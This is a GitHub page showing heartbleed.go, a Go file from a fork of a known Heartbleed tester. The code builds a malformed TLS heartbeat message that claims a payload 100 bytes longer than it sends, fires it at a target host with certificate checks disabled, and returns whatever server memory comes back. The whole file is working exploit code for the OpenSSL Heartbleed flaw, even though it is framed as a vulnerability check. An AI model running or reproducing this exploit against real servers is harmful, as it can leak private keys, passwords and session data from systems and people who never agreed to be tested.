forked from FiloSottile/Heartbleed
-
Notifications
You must be signed in to change notification settings - Fork 0
/
heartbleed.go
81 lines (72 loc) · 1.63 KB
/
heartbleed.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package heartbleed
import (
"bytes"
"encoding/binary"
"errors"
"github.com/FiloSottile/Heartbleed/tls"
"github.com/davecgh/go-spew/spew"
"time"
)
var ErrPayloadNotFound = errors.New("heartbleed: payload not found")
var padding = []byte("YELLOW SUBMARINE")
// struct {
// uint8 type;
// uint16 payload_length;
// opaque payload[HeartbeatMessage.payload_length];
// opaque padding[padding_length];
// } HeartbeatMessage;
func buildEvilMessage(payload []byte) []byte {
buf := bytes.Buffer{}
err := binary.Write(&buf, binary.BigEndian, uint8(1))
if err != nil {
panic(err)
}
err = binary.Write(&buf, binary.BigEndian, uint16(len(payload)+100))
if err != nil {
panic(err)
}
_, err = buf.Write(payload)
if err != nil {
panic(err)
}
_, err = buf.Write(padding)
if err != nil {
panic(err)
}
return buf.Bytes()
}
func heartbleedCheck(conn *tls.Conn, buf *bytes.Buffer, vuln chan bool) func([]byte) {
return func(data []byte) {
spew.Fdump(buf, data)
if bytes.Index(data, padding) == -1 {
vuln <- false
} else {
vuln <- true
}
conn.Close()
}
}
func Heartbleed(host string, payload []byte) (out []byte, err error) {
conn, err := tls.Dial("tcp", host, &tls.Config{InsecureSkipVerify: true})
if err != nil {
return nil, err
}
var vuln = make(chan bool, 1)
buf := new(bytes.Buffer)
conn.SendHeartbeat([]byte(buildEvilMessage(payload)), heartbleedCheck(conn, buf, vuln))
go func() {
conn.Read(nil)
}()
select {
case status := <-vuln:
if status {
out = buf.Bytes()
return
} else {
err = ErrPayloadNotFound
return
}
case <-time.After(3 * time.Second):
return nil, ErrPayloadNotFound
}
}